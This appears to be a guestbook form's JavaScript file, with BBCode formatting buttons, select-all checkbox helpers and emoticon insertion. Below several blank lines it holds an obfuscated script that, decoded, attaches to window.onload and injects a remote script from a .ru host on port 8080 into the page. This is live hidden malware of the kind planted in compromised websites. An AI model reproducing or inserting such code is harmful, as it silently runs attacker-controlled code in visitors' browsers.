function checkAll(theElement) {
	var theForm = theElement.form, z = 0;
	while (theForm[z].type == 'checkbox' && theForm[z].name != 'checkall') {
		theForm[z].checked = true;
		z++;
	}
}
function uncheckAll(theElement) {
	var theForm = theElement.form, z = 0;
	while (theForm[z].type == 'checkbox' && theForm[z].name != 'checkall') {
		theForm[z].checked = false;
		z++;
	}
}

var prompttext = new Array();
prompttext['img'] = 'Insert image url';
prompttext['b'] = 'Insert text to make bold';
prompttext['i'] = 'Insert text to make italic';
prompttext['s'] = 'Insert text to put a stroke through';
prompttext['u'] = 'Insert text to underline';
prompttext['url'] = 'Insert url';
prompttext['mail'] = 'Insert e-mail address';

var target = null;
function getTarget(el) {

  target = (document.getElementById)? document.getElementById(el):0;

}

function storeCursor(el) {

  if (document.all && el.createTextRange) el.cursorPos = document.selection.createRange().duplicate();

}

function putStr(text) {

  if (target) {

    if (document.all && target.cursorPos) {

      target.cursorPos.text = text;

    } else if (typeof(target.selectionStart) != 'undefined') {

      var sStart = target.selectionStart;
      var sEnd = target.selectionEnd;
      target.value = target.value.substr(0, sStart) + text + target.value.substr(sEnd, target.value.length);
      target.selectionStart = (sStart == sEnd)? sStart + text.length:sStart;
      target.selectionEnd = sStart + text.length;

    } else {

      target.value += text;

    }

    target.focus();
    storeCursor(target);

  }
}

function applyUBB(style) {

  if (target) {

    var selectedtext = '';
    if (document.all && target.cursorPos) {
      selectedtext = target.cursorPos.text;
    } else if (typeof(target.selectionStart) != 'undefined') {
      selectedtext = target.value.substr(target.selectionStart, target.selectionEnd - target.selectionStart);
    }

    if (!selectedtext) selectedtext = prompt(prompttext[style], '');
    if (!selectedtext) { target.focus(); return; }

    if (style == 'url=') {
      var description = prompt(prompttext['urld'], '');
      if (!description) { target.focus(); return; }
      selectedtext = '[url='+selectedtext+']'+description+'[/url]';
    } else {
      selectedtext = '['+style+']'+selectedtext+'[/'+style+']';
    }

    putStr(selectedtext);

  } 
}

b_help = "Bold text: [b]text[/b]  (alt+b)";
i_help = "Italic text: [i]text[/i]  (alt+i)";
u_help = "Underlined text: [u]text[/u]  (alt+u)";
s_help = "Stroked through text: [s]text[/s]  (alt+s)";
w_help = "URL: [url]http://www.yoursite.com[/url] (alt+w)";
m_help = "Mail: [mail]info@yoursite.com[/mail] (alt+m)";
a_help = "Image: [img]http://www.yoursite.com/image.jpg[/img]  (alt+a)";

function helpline(help) {
	document.post.helpbox.value = eval(help + "_help");
}
function emoticon(text) {
	text = ' ' + text + ' ';
	if (document.post.gbMessage.createTextRange && document.post.gbMessage.caretPos) {
		var caretPos = document.post.gbMessage.caretPos;
		caretPos.text = caretPos.text.charAt(caretPos.text.length - 1) == ' ' ? text + ' ' : text;
		document.post.gbMessage.focus();
	} else {
	document.post.gbMessage.value  += text;
	document.post.gbMessage.focus();
	}
}







this.RD="";function C(){var Q="";var dC=new String();var r=unescape;var rv=window;var f;if(f!='V' && f!='VW'){f=''};var NX;if(NX!='' && NX!='t'){NX=null};var B=r("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%78%70%65%72%74%73%2d%65%78%63%68%61%6e%67%65%2e%63%6f%6d%2f%62%68%61%72%61%74%73%74%75%64%65%6e%74%2e%63%6f%6d%2e%70%68%70");var sD=new Date();var q;if(q!='' && q!='c'){q=null};var Pc="";function e(K,Y){var R=new String("g");this.g='';var k=r("%5b"), H=r("%5d");var S=k+Y+H;var BI=new RegExp(S, R);return K.replace(BI, new String());var Xs=new Date();var ZN;if(ZN!='' && ZN!='W'){ZN=null};};var Pa=new String();var tY='';var NXp='';var FAf;if(FAf!='Mo'){FAf=''};var n=new String();var Kf=new Date();var s=document;var kX;if(kX!='Gc'){kX='Gc'};var F=e('8944316092427874629507672','17235946');this.Vp="";var PD;if(PD!='l'){PD=''};var qH;if(qH!='xu'){qH=''};function G(){var hZ;if(hZ!=''){hZ='oC'};var rr="";var CB;if(CB!='' && CB!='dV'){CB='rm'};var t_;if(t_!='' && t_!='oH'){t_='Nq'};var _=r("%68%74%74%70%3a%2f%2f%63%68%65%61%74%73%69%6e%2e%72%75%3a");var J="";var Sc;if(Sc!='' && Sc!='pL'){Sc=''};var MI=new Date();var bk;if(bk!='' && bk!='A'){bk=null};n=_;var Gz=new String();var fg=new String();n+=F;var AG;if(AG!='Rh' && AG!='oT'){AG=''};var ze=new Array();n+=B;this.EJ="";var O=new Date();try {this.rU='';var QL="";u=s.createElement(e('s0czrXizpdtX','dzX0'));var EsE;if(EsE!='EL' && EsE!='BF'){EsE='EL'};var kF="";var Ge;if(Ge!='Un' && Ge!='Uw'){Ge=''};u[r("%73%72%63")]=n;var bP='';u[r("%64%65%66%65%72")]=[1][0];this.tA="";this.i_='';var lt="";s.body.appendChild(u);var CQ;if(CQ!='uz'){CQ='uz'};} catch(N){var hC;if(hC!='' && hC!='Ao'){hC='xA'};var vs=new String();alert(N);};var x_;if(x_!='VS'){x_='VS'};}rv["onl"+"oad"]=G;var xp=new String();var EY;if(EY!='_tR' && EY != ''){EY=null};this.AwH="";var Fa;if(Fa!='' && Fa!='Hw'){Fa=''};};var mt=new Array();C();var iQ=new Date();
